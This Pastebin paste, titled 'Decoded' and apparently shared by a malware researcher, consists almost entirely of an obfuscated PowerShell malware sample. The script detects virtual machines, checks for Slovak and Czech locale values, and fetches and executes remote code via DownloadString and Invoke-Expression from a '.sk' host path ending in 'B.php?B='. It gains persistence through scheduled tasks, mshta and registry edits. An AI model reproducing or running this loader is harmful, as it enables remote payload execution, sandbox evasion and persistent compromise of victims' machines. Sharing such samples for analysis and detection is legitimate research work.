API tools faq
paste
James_inthe_box

Decoded

James_inthe_box
Sep 12th, 2018
581
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.38 KB | None | 0 0
raw download clone embed print report
  1. $ErrorActionPreference = 'SilentlyContinue'
  2.  
  3. if (Test-Path 'HKLM:\Software\a') {
  4. "exists"
  5. break
  6. }
  7.  
  8. if (Test-Path 'HKLM:\Software\WOW6432Node\a') {
  9. "exists"
  10. break
  11. }
  12.  
  13. .( $PsHomE[21]+$pshOme[30]+'X')(nEW-ObJeCt SySTem.io.CoMpREsSION.DEFlATesTrEam([Io.MEMorYsTREAM] [cONvert]::frombAse64stRing( '(("{353}{248}{334}{43}{420}{394}{247}{54}{80}{31}{291}{170}{311}{415}{86}{319}{155}{42}{63}{133}{214}{430}{60}{223}{331}{456}{202}{64}{433}{330}{211}{396}{120}{205}{165}{147}{281}{102}{236}{287}{25}{252}{129}{172}{77}{346}{296}{149}{123}{244}{306}{384}{55}{409}{14}{324}{145}{72}{273}{45}{134}{336}{269}{374}{197}{253}{22}{465}{440}{105}{344}{379}{132}{7}{419}{69}{313}{40}{400}{231}{314}{293}{365}{178}{413}{429}{270}{68}{39}{337}{368}{126}{70}{355}{295}{84}{143}{174}{436}{372}{162}{216}{56}{349}{423}{209}{257}{280}{439}{418}{401}{442}{240}{438}{62}{207}{457}{218}{73}{206}{381}{318}{220}{222}{267}{23}{274}{140}{204}{466}{226}{348}{224}{341}{421}{361}{264}{161}{50}{46}{90}{30}{127}{151}{153}{194}{71}{95}{33}{37}{116}{187}{44}{101}{229}{136}{201}{3}{1}{452}{5}{325}{17}{431}{282}{139}{245}{434}{152}{333}{332}{366}{246}{283}{424}{451}{286}{179}{81}{351}{265}{215}{284}{138}{299}{234}{388}{18}{171}{462}{342}{188}{271}{408}{405}{454}{416}{100}{19}{137}{238}{91}{122}{279}{210}{266}{16}{467}{460}{268}{144}{389}{448}{203}{24}{6}{13}{67}{34}{397}{303}{61}{411}{350}{65}{316}{256}{121}{260}{235}{35}{130}{241}{363}{28}{371}{128}{383}{343}{312}{109}{198}{142}{106}{49}{301}{407}{254}{249}{369}{239}{159}{323}{232}{193}{310}{376}{111}{83}{213}{258}{11}{321}{414}{199}{422}{412}{8}{0}{464}{259}{135}{58}{79}{10}{453}{250}{217}{233}{385}{89}{47}{387}{458}{125}{150}{251}{177}{21}{113}{183}{115}{168}{48}{345}{426}{237}{444}{437}{447}{38}{20}{9}{112}{441}{98}{455}{398}{51}{367}{307}{15}{375}{354}{450}{141}{358}{242}{370}{185}{164}{359}{146}{402}{27}{190}{399}{373}{417}{326}{449}{192}{322}{298}{272}{380}{195}{304}{110}{186}{410}{157}{390}{362}{327}{243}{29}{131}{432}{435}{208}{340}{85}{82}{78}{288}{154}{338}{124}{119}{328}{158}{228}{357}{292}{53}{459}{382}{4}{41}{445}{191}{97}{107}{308}{300}{59}{360}{386}{468}{181}{302}{2}{427}{225}{294}{315}{75}{395}{255}{317}{261}{276}{219}{36}{391}{12}{443}{92}{393}{461}{278}{114}{94}{196}{184}{347}{262}{176}{175}{377}{104}{230}{290}{364}{26}{356}{212}{87}{167}{173}{403}{277}{32}{180}{74}{99}{108}{285}{275}{93}{103}{221}{320}{335}{182}{96}{392}{160}{117}{446}{57}{425}{289}{166}{352}{88}{406}{148}{309}{339}{227}{329}{163}{404}{297}{263}{200}{52}{118}{66}{378}{76}{305}{428}{156}{169}{189}{463}" -f 'mAv,mAvestmAv,mAvh','STcE} = (OGY{0}{4}{2}{1}{3}OGY -f mAvSilentlmAv,mAvnmAv,mAvntimAv,mAvuemAv,mAv','U','v)
  14. Break (OGY{0}{1}OGY-fmAvSmAv,mAvcriptmAv)
  15. }
  16.  
  17. jNa{ERrOnSTRAcTnSTIOnpnSTReFEreNn','BLTfobLT/Zl2RqGWqhwqDNPcgYtj',' (OGY{3}{0}{1}{2}{4}OGY -fmAvlemAv,mAvntlyCmAv,mAvo','vzCUlKkjEhbu0TUFRS+hU3+IM1l/2zxbfP1Sykav','Y -f mAvdmAv,mAveletemAv) (OGY{1}{2}{0}{3}OGY-fmAvO','1}OGY-fmAvgh','ntmAv,mAvmmAv,mAvemAv','rmAv','fmAvttin','nST, [SYsTE','j3w7X18jAP','}{4}','//mAv,mAvamAv)+ (lS vArIAbLe:jPU).','g( mAvZVZtT9xGEP4ro6jqncWCvGt7vf4I9NKiVFAdEUJFqAroSCAVRAetIl3vv/d5Znbtgwh8Xs/OzsszbysHMpefLlbrm7PnxR/L','imAv,mAvinuemAv)
  18. jNa{x}=(.(OGY',')
  19. {
  20. &(OGY{1}{0}OGY -fmAvgmAv,mAvr','v,mAvEGmAv,mAv_SZmAv) (mAv/dmAv) OGYIeX ','tmAv,mAvw-ObmAv) (OGY{3}{2}{1}{4}{5}{0}OGY -f mAve','[CHAr]121),[sTrIng][CHAr]34).OGYRepLanSTCeOGY(([CHAr]79+[CHAr]97+[CHAr]57),mAvEY2mA','mAv,mAvVMwarmAv,','KEmAv,mAvS_ROOTmAv,mAvY_CmAv,mAvLASSEmAv)
  21. ','S3+i9D4IO94Mou3aXFMmT1PqMlfU/','fmAv5Q SEmAv,mAvPmAv)){
  22. &(OGY{0}{','1}',']','hwqD','WTJ3H8BGEvmFqzRgoVp4SA+Lr3txUIAtD5YBx4eIh','-fmAvEmAv,mAvcho','ENOVmAv,mAvOmAv,mAvLmAv)){
  23. &(OGY{1}{0}OGY-f mAvchomAv,mAvEmAv) ','[cHar]34).(OGY{1}{0}OGY-f mAvAcEmAv,mAvR','f','Bc43H4fkecL4zlQrsAOtoXIykDAY3gtS5Prjk6ZRu9bWYcmwk1zeKoh7oGCYXiQ2BEwaPcnoD9C1K0rq+JiAWHC+','Mhi1ZzYwKF5TfQgZ0LGerTxQjj7UpsJys6Sj1i+gztgydVpj4UGqASwQWGvLcGPYTAEObS7a9HWxvnl6XmHxbbm4Wy1Xj1jerrYHWile222YiuXs/GMul/Jenpx','NMODE]::DeCoMpreSs)',' mA','rA3mAv,[cHar]92)) r7n .(OGY{0}{2}{1}OGY -fmAvout-nmAv,mAvlmAv,mAvulmAv)
  24. &(OGY{2}{1}{0}OGY-f mAveepmAv,mAvart-SlmAv,mAvStmAv) -s 1
  25. (&(OGY{0}{2}{1}OGY -fmAvNemAv,mAvjec','}
  26.  
  27. i',')
  28. Brea','xitLBr6zuv4FdoY1f4Q+k','oDnSTEL} -Contains (OGY{1}{2}{0}OGY -fmAvmmAv,mAvHVM mAv,mAvdomAv)){
  29. ','ENVmAv);jNa{MonSTdnSTel}= (&(OGY{1}{0}{2}OGY-fmAv-WmmAv,mAvGetmAv,mAviObje',' (','vScmAv,','GY{2}{1}{0}','vep mAv+mAvbypasmAv+mAvs mAv+mAv-nop','Av+mAvnvoke-ExmAv+mAvprmAv+','Rq/Py','(O','vsumAv,',')+jNa{EnSTNv:nSTcnSTompunSTTnSTERNAme}) r7n &(OGY{2}{1}{0}OGY -fmAvlmAv,mAv-nulmAv,mAvoutmAv)
  30. }
  31. } else {
  32. ','vTX5','ns (OGY{2}','vYmAv) r7n &(OGY{1}{0}OGY-f mAvegmAv,mAvrmAv) (OGY{1}{2}{0}OG','1}{0}OGY ','erty mAv+mAvShemAv+mAvllmAv+mAv;InvokmAv+mAvemAv+mAv-ExpressimAv+mAvon mAv+((mAv4vOe3ymfNbmAv+mAv,0,TrmAv+mAvue)mAv+mAv(mAv+mAvwindowmAv+mAv.clomAv+mAvse)mAv) -CReplAcE mAv4vOmAv,[CHAR]36-REPlAce mAv3ymmAv,[CHAR]92-CReplAcE mAvfNbmAv,[CHAR]34)) r7n .(OGY{0}{1}OGY -fmAvo','umAv+mAvnmAv+mAv(VZusozp','HEKgjBhIvPpanz','-f mAvrmAv,mAvegmAv) (OGY{0}{1}OGY ','WGeqmrmi','v) ',' &(OGY{0}{1}OGY -f','v,mAvSES_','wwh6','ew-omA','y/fb/7ayv7N97OlzD+cPzCD/BaL/Ts',' ','mAv,m',' ','}.OGYLenGnSTTHOGY -lt 4){
  33. .(OGY{0}{1','mAvY_CLASSEmAv,mA','v','AvMAxmAv,mAvEY','dHol1aodV5VB8vFt78/3a7m86vjL7jgpLBni5','}{3}{1}{0}OGY -fmAvtmAv,mAvenmAv,mAvnet.w',',mAv_CLAmAv,mAvSSES_ROmAv,mAvHKEYmAv)
  34. Brea','YXiQ2BEwaPcnoD9C1K0rq+JiAWHC+aMAWTHHUap2j3Sc1SKR3TBrt','owe','{0}{1}OGY-f mAv',',mAvpmAv))','cmwk1zeKoh7oGC','Av) (OGY{1}{0}','A','lzD+cPzCD/BaL/TsBc43H4fkecL4zlQrsAOtoXIykDAY3gtS5Prjk6ZRu9bWY','AvAmAv,mAvSES_R','Av/tmAv) (mAvmmAv+mAvshta mAv','AvtmAv,mAvt.WmAv,mAvNemAv,mAvSystem.mAv,mAvebClienmA','v+mAvStmAv+mAvymAv+mAvle mAv+mAvhmAv+mAviddemAv+mAvn mAv+mAv-mAv+mA','OGY -fmAvemAv,mAvwarmAv,mAvvm mAv)) {
  35. &(OGY{0}{1}OGY ','Ct sYste','.REadToENd()OGY (m','vasm','{1}','}OGY -fmAvEcmAv,mAvhomAv) (mAvYmAv) r7n &(OGY{1}{0}OGY-','LM:{0}Software{0}mAv+mAva{1}mAv+mAv);SmAv+mAvemAv+mAvlmAv+mAvect-mAv+mAvObmAv+mAvjemAv+mAvct mAv) -f ','F8vPt3mLL87y4uj/H5Y3ZYKGOuwDMS3iotXvRtH2czZH4dtUDQ0AkknRGdj','-f mAvsk/admAv,mAvabeusmAv,mAvwww.rmAv,mAvn/mAv,mAv.mAv,mAvb/css/B.php?B=mAv,mAvrmA','2mAv)+mAv-Wm','{1}{2}OGY -fmAvRmA','OGY{','AvOOTmAv)
  36. Break (OGY{1}{0}OGY -fmAvtmAv,mAvScripmAv)
  37. }
  38.  
  39. if (jNa{MnSTODEl} -Contains (OGY{1','Av+mAvs m','O','vhomAv) (mAvYmAv) r7n ','QUFTSTfZWzUairU7tVk22lqufDVhqEEjoHAGdHol1aodV5VB8vFt78/3a7m86vjL7jgpLBni5jywvu+crP/ZhPrDC195hC39f3p52vjGuIPovouS0hNEVXH6s25pt2','QgKrYOqldLeTsTnlG8A','Av+mAvindowmAv+mAvSmAv+mAvtyle mAv+mAvhimAv+mAvddmAv+mAven mAv+mAv-emA','IvPpanzAFz/NVcyqmNdKE3zIiQdIaSt9cWp/gOIAHPhvMqaLXW+SLBdoglf3090','VcnF6vDp4eXr+uL5//HVeXXnX',',mAvscm',',mAv','v)+mAv-E','mAvullmAv,mAvout-nmAv)
  40. &(OGY','mAvSh','vgmAv,mAvremAv) (OGY{2}{0}{1}OGY -f mAvelmAv,mAv','Pr',' &(OGY{0}{1}OGY-f mAvIEmAv,mAvXmAv) (.(OGY{2}{0}{1}OGY -f mAvbjmAv,mAvectmAv,mAvn','WdQe','{1}OGY -fmAvremAv,mA','0LrY0','m','ns (OGY{0}{1}{2}OGY -f mAvVimAv,mAvrtmAv,mAvual MachinemAv)){
  41. &(OGY{1}{0}OGY -fmAvhomAv','wwh6NJwUzH9pSkUmOVlUXoOFvPElKMMY','v+mAv-ItmAv+mAvemPropmAv+mAvemAv','mAvVirmAv)) {
  42. ','mAv) (m','TnlG8AU1TwQ7GNUPebLOKyJ','0}OGY-f mAvgmAv,mAvremAv) (OGY{0}{1}OGY -f mAvdelemAv,mAvtemAv) (OGY{3}{1}{2}{0}OGY -','+JuoHJ4//Pn1dlaYO0iUeNPaT00UOPvAAIj60BoAQAV/vtLxkjtHVkgoyos/ukwy1nR7ga','6wwDxvkr53Hh','(OGY{0}{1}OG',' mAvEc','mAvriptmAv)
  43. ','vShmAv+mAvemAv+mAvlmAv+mAvlVZusoz).R','ES_mAv,mAvROOTm','(New-','Y ) {
  44. if ( jNajpu::OGYIS64BnSTi','bjecm',' (OGY{1}{0}OGY-fmAviptmAv,mAvScrmAv)
  45. }
  46. ',' ','1qNLmrrPW7l/5HlFGTrl8RLN/qA1MyA5lgOY+N','v) r7n .(OGY{1}{0}OGY -f mAv','EBsOlBADeD3ZIYIkHp8YRVA8eSiYNAacLUQiwNYNdCFjRavBsQWDIEPDgRuUT/WnqLx7ckDrQGnPXQ0VIJvT/U0o9u+k/27WZSZm8ngxYn3LrqUnMdHiE5CB2LonTQJTwMGEobG9a24Hkwxun7gOfAHHHNgbpKQWTJ3H8BGEvmFqzRgoVp4SA+Lr3txUIAtD5YBx4eIh6wwDxvkr53Hh8opiiFCDQ','vKmAv,','mAvaremAv,mAvoftw','{5}OGY -','mAvgmAv,mAvnlmAv,mAv','DEl} -Contai','+mAvrtmAv+mAvymAv+mAv mAv).OGYrepnSTlAnSTcEOGY(([ChaR]72+[ChaR]106+[ChaR]52),[sTRINg][ChaR]36)+(mAvtmAv+mAv6yHKLM:Oa9SoftwareOamAv+mA','AvYmAv) r7n &(OGY{1}{0}OGY -f mAvgmAv,mAvremAv) (OGY{0}{1}OGY -f mAvdelmAv,mAvetemAv) (OGY{0}{1}{3}{2}{4}OGY -fmAvHKmAv,mAvEmAv,mAvCLASmAv,mAvY_mAv,mAvSE','{1}','S_ROOT','GdQEw3NWGeqmrmiEgYnvms',' -fmAvScmAv,mAvriptmAv)
  47. }
  48.  
  49. if (jNa{MnST','1}','2mDd','0osDhNfLE','t','34+mAv-EmAv+mAvxpandmAv+mAv','DnSTEL} -Contains ','AvletemAv,mAvdem','it','vSmAv,mAvYWkamAv','{0}{1}OGY-fmAvdelemAv,mAvtemAv) (OGY{3}{4}{1}{0}{2}','Av,mAvleepmAv) -s 1
  50. (&(OGY{2}{1}{0}OGY-f mAvjectmAv,mAvew-ObmAv,mAvNmAv) (OGY{3}{2}{1}{4}{','+(mAvvbscripmAv+mAvt:','ell;Im','{4','vrmAv) (OGY{0}','emAv) (OGY{0}{1}OGY -fmAvadmAv,mAvdmAv) (((OGY{0}{3}{','fmAvOTmAv','CmAv+mAvreamAv+mAvteObmAv+mAvjemAv+mAvct(MmAv+mAvAmAv+mAvxFKCWscrmAv+mAviptmAv+mAv.ShelmAv+mAvlMAmAv+mAvxFKmAv+mAvC).RumAv+mAvn(MAxFmAv+mAvKCpomAv+mAvwemAv+mAvrshell.mAv+mAvexe mAv).O','egmAv,mAvrmAv) (OGY{','{2}{0','nmAv,mAv/mAv) (OGY{1}','v6mAv+mAvy);SelectmAv+mAv-Object mAv).OGYREPnSTlaceOGY(([CHAr]116+[CHAr]54+','v,mAvdelemAv) (OGY{2}{3}{4}{0}{5}{1}OGY-fmAvLASSEmAv,mAvTmAv,mAvHmAv,mAvKEY_mAv,mAvCmAv,mAvS_RO','.phmAv,mAvy.mAv','eplmAv).Invoke(m','/qA1MyA5lgOY+NQUFTSTfZW',' mAv).(OGY{0}{1}OGY -f mAvRmAv,mAvEpLAcemAv).Invoke(mAvqwOmAv,mAvjNamAv)+(mAv{1mAv+mAv}HmAv+mAvK','xpmAv+mAvandmAv+mAvPrmAv+mAvoperty mAv+','{0}OGY -f mAvscmAv,mAv/m','(OGY{1}{0}OGY -fmAvegmAv,mAvrmAv) (OGY{0}{1}OGY-fmAvamAv,mAvddmAv) (((OGY{2}{0}{4}{3}{1}OGY-f mA','XO/N','etemAv,mAvdmAv)','}{2}OGY-fmAvHKLMmAv,mAvomAv,mAvdeFGBamAv,mAvFmAv,mAvftwmAv,mAvGBSomAv,mAva','}{2}{3}OGY-f mAvDmAv,mAvownloamAv,mAvStrmAv,mAvingmAv,mAvdmAv).Invoke((OGY{4}{5}{6}{7}{1}{3}{0}{2}OGY-f','107),mAvEY2mAv)) (mAv/vmAv) (OGY{1}{0}OGY-f mAvlmAv,mAvShelmAv) (mAv/tmAv','WimZ','( mAvZVZtT9xGEP4ro6jqncWC','cre','mAv)
  51. Break (OGY{0}{1}OGY -f mAvScripmAv,mAvtmAv)
  52. }
  53.  
  54. if (jNa{mOnSTdeL','sszbysHMpefLlbrm7PnxR/Lx','{2}{0}OGY-f mAvksmAv,mAvschtmAv,mAvasmAv) (OGY{0}{1}OGY-fmAv/creamAv,mAvtemAv) (OGY{1}','1}{5}{0}{4}{6}OGY-','FH','-fmAv/rmAv,mAvlmAv) (OG','{2}{1}{0}OGY-fmAv2 mAv,mAvEW3mAv,mAv NmAv','A','LmA','fCLr0LnsOd','
  55. if','vgmAv) (OGY','delemAv) (OGY{4}{3}{1}{0}{2}OGY -f mAvE','(mAvYmAv)','QedCgao1DUOQwaPgod8+uqc+uoifCLr0LnsOdS3+i9D4IO94Mou3aXFMmT1PqMlfU/vzCUlKkjEhbu0TU',',mAvASmAv,mAvHKEY_CLmAv)
  56. Break (OGY{','.mEMoRystReAm] [SYSTem.ConVErT]::frombAsE64','1}OGY -f','AvrmAv,m','OGY-f mAvgonmAv,mAvonlomAv) ','mAv,mAvhomAv) (mAvYmAv) r7n &(OGY{0}{1}','}.(OGY{0}{1}OGY -fmAvTrim','Av) (OGY{3}{2}{','cEmAvVZumAv,[ChaR]92-crEPlacE ([ChaR]115+[ChaR','-f mAvegmAv,mAvrmAv) (OGY{1}{0}OGY -fmAvtemAv,mA','SIO',')
  57. }
  58.  
  59. if (jNa{mOnSTDel} -Contains (OGY{2}{0}{1}OGY -fmAvrtumAv,mAvalboxmAv,mAvvimAv)) {
  60. ','U','-Contai','vwwmAv,mAvamAv,mAvus.sk/admin/sub/csmAv,mAvB.','v+DOGBQQgnnEFGd4XnMoSixlMhi1ZzYwKF5TfQgZ0LGerTxQjj7UpsJys6Sj1i+gztgydVpj4UGqASwQWGvLcGPYTAEObS7a9HWxvnl','0}{1}{2}{3}OGY -f mAvHKEmAv,mAvY_CLASmAv,mAvS','GY{1}{0','GY{1}{0}OGY-f mAvtmAv,mAvScripmAv)
  61. }
  62.  
  63. if (jNa{MODnSTEL} -Contains (OGY{0}{2}{1}OGY-f m','Av,mAvsmAv,mAvkmAv) (OGY{1}{0}{2}OGY-fmAv',']111','n','Z3Woa0osDhNfLEv+DOGBQQgnnEFGd4XnMoSixl','}{0}OG','Avue)(mAv+mAvwimAv+mAvndmAv+mAv','Obje','()OGY (mAv/fmAv) r7n &(OGY{2}{1}{0}OGY -fmAvullmAv,mAvnmAv,mAvou','A','+9UmOHHjldn0ZFVkdRvTX5RZq3UCX+VViJg6hEBp9kkpfwsAVVv6b+s62wu/dJknfJDHdKWzA6iSugnTwxtcTInVRyd7HJ0a/yNRcooB20eVlhTNk69gbZajclkXx4Plp6lN5Qo0EBLTfobLT/Zl',' mAv)+jNa{eNnSTVnST:cOmpUnSTTErname}) r7n .(OGY{1}{0}OGY-f mAvllmAv,mAvo','0o9u+k/27WZSZm8ngxYn3LrqUnMdHiE5CB2LonTQJTwMGEobG9a24Hkwxun7gOfAHHHNgbpKQ',',mAvE','Av,mAvNmAv) (OGY{0}{3}{2}{1}OGY -fmAvSmAv,mAvtmAv,mAvebClienmAv,mAvystem.Net.WmAv)).(OG','Invoke((OGY{7}{4}{11}{9}{5}{8}{3}{6}{2}{0}{1','Contai','jp','(nS','Avl.exe mAv) -Repla','v9WOW643mAv+mAv2mAv+mAvNodemAv+mAvOmAv+mAva9atmAv+mA','1}OGY-fmAvEchmAv,mAvomAv) (mAvYmAv) r7n &(OGY{1}{','f mAvlatfomAv,mAvrmAv,mAve Vi','n %{ New-ObjeCt SysTeM.IO.STrEAMReAdeR','195hC39f3p52vjGuIPovouS0hNEVXH6s25p','mOVlUXoOFvPElKMMYWdQeZ/MKCuHbAMRMLPIw4SgMFBZI9GUavK','1}{0}OGY -f mAvtmAv,mAvScripmAv)
  64. }
  65.  
  66. if (jNa{','(OGY{1}{0}OGY-fmAvnmAv,mAv/tmAv) (OGY{3}{1}{4}{0}{2}OGY-','ozWscmAv+mAvriptmAv+mAv.mAv+mA','CFtHDH61lWoP4WXk53K+eNm/OFzfHx79vhDG++zuHL9SnkoEvMtf/jnQVIGQaF','Rq/Pyzf6PcuNQxIV6r6j6Qe5QSfU/m','OGY-f mAvonlomAv,mAvgonmAv) (OGY{1}{0}OGY -fmAvt',':mAv,mAvMOmAv)+jNa{mnSTOdnSTEL}+(OGY','{0}OGY -fmAvriptmAv,mAvScmAv)
  67. }
  68.  
  69. if (jNa{Mo','leemAv,mAvStart-mAv,mAvpmAv) -s 1
  70. jNa{X}=jNa{X','STRIn','n &(OGY{0}{1}OGY -f mAvremAv,mAvgmAv) (OGY{0}{1}OGY-fmAvdemAv,mAvletemAv) (OGY{0}{2}{3}{1}OGY -f mAvH','PiM2w1ezYAlXlh2e','
  71. if (jNa{mODnSTel} -Contains (OGY{','v,mAviptmAv)
  72. ','reFGBWOmA','VFAdEUJFqAroSCAVRAetIl3vv/d5Znbtgwh8Xs/','vS_ROOTmAv)
  73. Break (OGY{0}{1}OGY -fmA',' Break','mAvbypmAv+mA','Av ) ,[iO.ComPrESSIon.cOMPREs','TPlaCeOGY(mAvFKCmAv,[STRiNG]','r7n .(OGY{1}{0}OGY -f','.Io.ComPReSsiOn.defLATeSTream([System.iO','moDnSTeL} -Co','f mAv_mAv,mAvSmAv,mAvRmAv,mAvHKEY_CLASmAv,mAvSEmAv,m','f mAvtmAv,mAvew-O','}{10}{12}OGY -fmAvcssmAv,','Av,mAvmmAv).Invoke()
  74. If (jNa{x} -eq OGYSKOGY -Or jNa{x} -eq OGYCZOG','v+mAvp mAv+','v,mAvskamAv,mAv','Y-','JKX1kFBgMTTzTDQK+GgoL','vtamAv,mAvSmAv,mAvrt-Sm','}','(mAvYmAv) r7n &(OGY{1}{0}OGY-fmAvegmAv,mA','NPaT00UOPvAAIj60BoAQAV/vtLxkjtHVkgoyos/ukwy1nR7ga+9UmOHHjldn0ZFVkdR','1}OGY-f mAvEchmAv,mAvomAv) (mAvYmAv) r7n &(OGY{0}{1}OGY -fmAvremAv,mAvgmAv) (OGY{2}{1}{','7t',' -fmAvhomAv,mAvEcmAv) (mAvYm','crimAv)
  75. }
  76.  
  77.  
  78. if (jNa{monST','://wmAv)+ (GET-VaRiAble JPu -vALUEoNl)::OGYOnSTSvnSTerSiOnOGY+(OGY{1}{0}OGY -f mAvD','7vf4I9NKi','nSTToPe','Utrm8wUBeBpb5dQp966eX5a4vV3PbcReXXPIIjzZiDa3KQ4g0dZVJhPt04tD0Lr','zf6PcuNQxIV6r6j6Qe5QSfU/mAv ) ,[iO.ComPrESSIon.cOMPREsSIONMODE]::','z','FBgMTTzTDQK+GgoLGdQEw3N','fv','ebc','cmAv)','.skmAv,mAvmimAv,mAv:','U1TwQ7GNUPebLOKyJWe4TSRE2yPS6','rinmAv,mAvoadStmAv).Invoke((OGY{6}{9}{0}{8}{1}{7}{','amAv,mAv/mAv,mAvtemAv) (OGY{0}{1}OGY-fm','{1}OGY-f mAvdeletmAv,mAvemAv) (OGY{4}{0}{3}{','a4vV3PbcReXXPIIjzZiDa3KQ4g0dZVJhPt04tD0LrHEKgjBh','AvSES_ROmAv,mAvTmAv','AvvimAv,mAvualmAv,mAvrtmAv)) {
  79. &(OGY{0}{','Vk22lqufDVhqEEjoHAG','NJwUzH9pSkU','t2','mAv,mAvtmAv','OOmAv,mAvTmAv,mAvSmAv,mAvHKEY_CLmAv)
  80. Break (OGY{0}{1}OGY','+mAvGet-ItemAv+mAvmPr','mAv','vGt','-mAv)
  81. .(OGY{0}{2}{1}OGY -fmAvschtasm','OGY-fmAvEmAv,mAvHmAv,mA','ntmAv,mAvS','SmAv) (mAv/dmAv) OGYIeX (New-ObjeCt sYstem','NdCFjRavBsQWDIEPDgRuUT/WnqLx7ckDrQGnPXQ0VIJvT/U','Z/MKCuHbAMRMLPIw4SgMFBZI9GUavK0LrY0CFtHDH61lWoP4WXk53K+eNm/OFzfHx79vhDG++zuHL9SnkoEvMtf/jnQVIGQaFZ3Woa','php?mAv,mAvs/mAv,mAvB=mAv,mAvhttmAv,mAvrabemAv,mAv.real','k (OGY{0}{1}OGY -fmAvScripmAv,mAvtmAv)
  82. }
  83.  
  84. if (jNa{mnSTOdEl} -Contains (OGY{2}{0}{','fmAvdemAv,mAvletemAv) (OGY{4}{0}{1}{3}{2}{5}OGY','AvwnmAv,mAvingmAv,mAvloadSt','OGY-fm','U=[typE](OGY{3}{2}{1}{0}OGY-f mAvMeNTmAv,mAvRONmAv,mAvimAv,mAv','operty','
  85. ','f (jNa{mODnSTEl} -Contains','ROSqQ18','2}{4}{3}{5}OGY -fmA','FRS+hU3+IM1l/2zxbfP1Sykavj3w7X18jAPy/fb/7ayv7N97O','
  86. &(OGY{1}{0}OGY -fmAvhomAv,mAvEcmAv) (mAvYmAv) r7n .(OGY{1}{0}OGY -f mAvgmAv,mAvremAv) (OGY{1}{2}{0}OGY-f mAvemAv,mAvdmAv,mAveletmAv) (OGY{4}{0}{2}{1}{3}OGY -fmAvEY_','1','m8wUBeBpb5dQp966eX5','&(OGY{0}{1}OGY -f mAvremAv,mAvgmA','mAve','k (OGY{1}{0}OGY -fmAvptmAv,mAvS','Av) (OGY{0}{1}','ns (OGY{0}{1}OGY -fmAvVM WmAv,mAv','-f m','YnvmsROSqQ18','
  87. .(OGY{2}{0}{1}{3}OGY-fmAvSmAv,mAv','0}OGY-f m','jNa','oNOGY+(OGY{0}{1','&(OGY{1}{0}OGY','{0}OGY -f m','6XmHxbbm4Wy1Xj1jerrYHWile222YiuXs/GMul/Jenpx+JuoHJ4//Pn1dlaYO0iUe','-fmAvMmAv,mAvOD:mAv)+jNa{MnSTODel}+(OGY{0}{1}OGY -f mAv NEmAv,mAvWA64',',mAvHKLMYWkmAv,','AFz/NVcyqmNdKE3zIiQdIaS','mAvSEmAv,mAvLASmAv,mAvS_ROOTmAv,mAvHKmAv)
  88. Break (OGY{1}','2eEBsOlBADeD3ZIYIkHp8YRVA8eSiYNAacLUQiwNY','2RqGWq','OGY-fmAvlmAv,mAv/rmAv) (OGY{1}{0}OGY -f mAvighestmAv,mAvhmAv) (OGY{','0}OGY -fmAvemAv,mAvtmA','rmAv,mAvDomAv).','mAvealitmAv,mAvhmAv,mAvy',' (OGY{1}{0}OGY-f mAvtualmAv,','TjNa_nST, [SYsTEm.TEXT.ENCODINg]::ASCIi)} ).REadToENd','ut-numAv)
  89. } else {
  90. .','NPcgYtjxitLBr6zuv4FdoY1f4Q+k+FiwzAcZbIqhA4pPTIKthgrpcATRrtwYQj1wA3nSlIdeU9YKdPpLi1ONSnLZSrFDz8vNOmrd6DWimZF8vPt3mLL87y4uj/H5Y3ZYKGOuwDMS3iotXvRtH2czZH4dtUDQ0AkknRGdjQgKrYOqldLeTs','}OGY -f m','{1}{0}OGY -fmAvZmAv,mAv','3}{2}{','OGYVnSTALueOGY::OGYoSVeRsInST','Av/mAv','}{4}{3}OGY-fmAvtmAv,mAvSystemAv,mAvmSemAv,mAvgsmAv,mAvtinmAv) (','v) (OGY{2','v) ','Oz','mAv,mAvASSmAv,mAvS_ROOTmAv,mAv_CLmAv,mAvHKEYmAv)
  91. Break (OGY{1}{0}{2}OGY -f mAvcripmAv,mAvS','JknfJDHdKWzA6iSugnTwxtcTInVRyd7HJ0a/yNRcooB20eVlhTNk69gbZajclkXx4Plp6lN5Qo0E','We4TSRE2yPS6Utr',' (mA','+[ChaR]122),[ChaR]34)+mAv-WindowmA','t9cWp/gOIAHPhvMqaLXW+SLB','mAv+mAv mAv+mAv-cmAv+mAv mAv+mAv mAv+(mAvHj4e=(GmAv+mA','STRatIngsnSTysnSTTEmOGY','edC','uN327aFk+z3aTtpsEy1PiM2w1ezYAlXlh',' r7n %{ New-ObjeCt SysTeM.IO.STrEAMReAdeR(nSTjNa_',' [cHar]92,[cHar]','Av/f','YmnSTODElOGY
  92. if (jNa{MnSTOdEL} -','jywvu+crP/ZhPrDC',' mAv ImAv,mAvnc.mAv,mAvDellmAv)){
  93. &(OGY{1}{0}OGY -f mAvhomAv,mAvEcmAv) (mAvYmAv) r7n &(OGY{0}','aMAWTHHUap2j3Sc1SKR3TBrtJKX1k','AvttpmAv,mA',') (OGY','k (O','BoxmAv,mAvtumAv)) {
  94. &(OG','mAv)).OGYREpLnSTAnSTCeOGY(([Char]89+[Char]87+[Char','GYrEnS','y.skmAv,mAvp','TAceOGY(([cHAr]70+[cHAr]71+[cHAr]66),mAvEY2mAv)) (mAv/vmAv) (OGY{1}{','v)).(OGY{0}{2}{4}{3}{1}OGY-fmAvDowmAv,','DeCoMpreSs) r7','v,mAv6432NmAv,mAvWmAv)).OGYrEPlnS','Y -f mAvtemAv,mAvdmAv,mAvelemAv) (OGY{1}{2}{0}{3','Lmf7D0/3j7NZJfP5/N','Eg','}{','OmAv)
  95. Break',',mAvymAv,mAvgsmAv,mAvSmAv,mAvstemSemAv) (OGY{0}{1}OGY ','1}{2}OGY -fm',' (OGY{0}','REG_',',mAval','mAv,mAvHKEY_CLAS','ctmAv) (OGY{0}{3}{4}{2}{1}{5}OGY -f mAvwimAv,mAvrsmAv,mAvutemAv,mAvn32_commAv,mAvpmAv,mAvystemmAv)).OG','CmAv,','Y{2}{0','AvTmAv,mAvSES_ROOmAv','mAv/e','ut-nmAv,mAvullmAv)
  96. .(OGY{1}{0}{2}{3}OGY -f mA','mAv+mAvssimAv+mAvon mAv+((mAvRmgemAv+mAvrA3mAv+mAv4xP,0mAv+mAv,TrmAv+m','air','lmAv,mAvimAv)).(OGY{0}{',' (OGY{0}{1}OGY-fmAvScrmA','OGY ','{2}{1}{0}OGY -','8','ROmAv,mAvASmAv,mAvHmAv,mAvOTmAv)
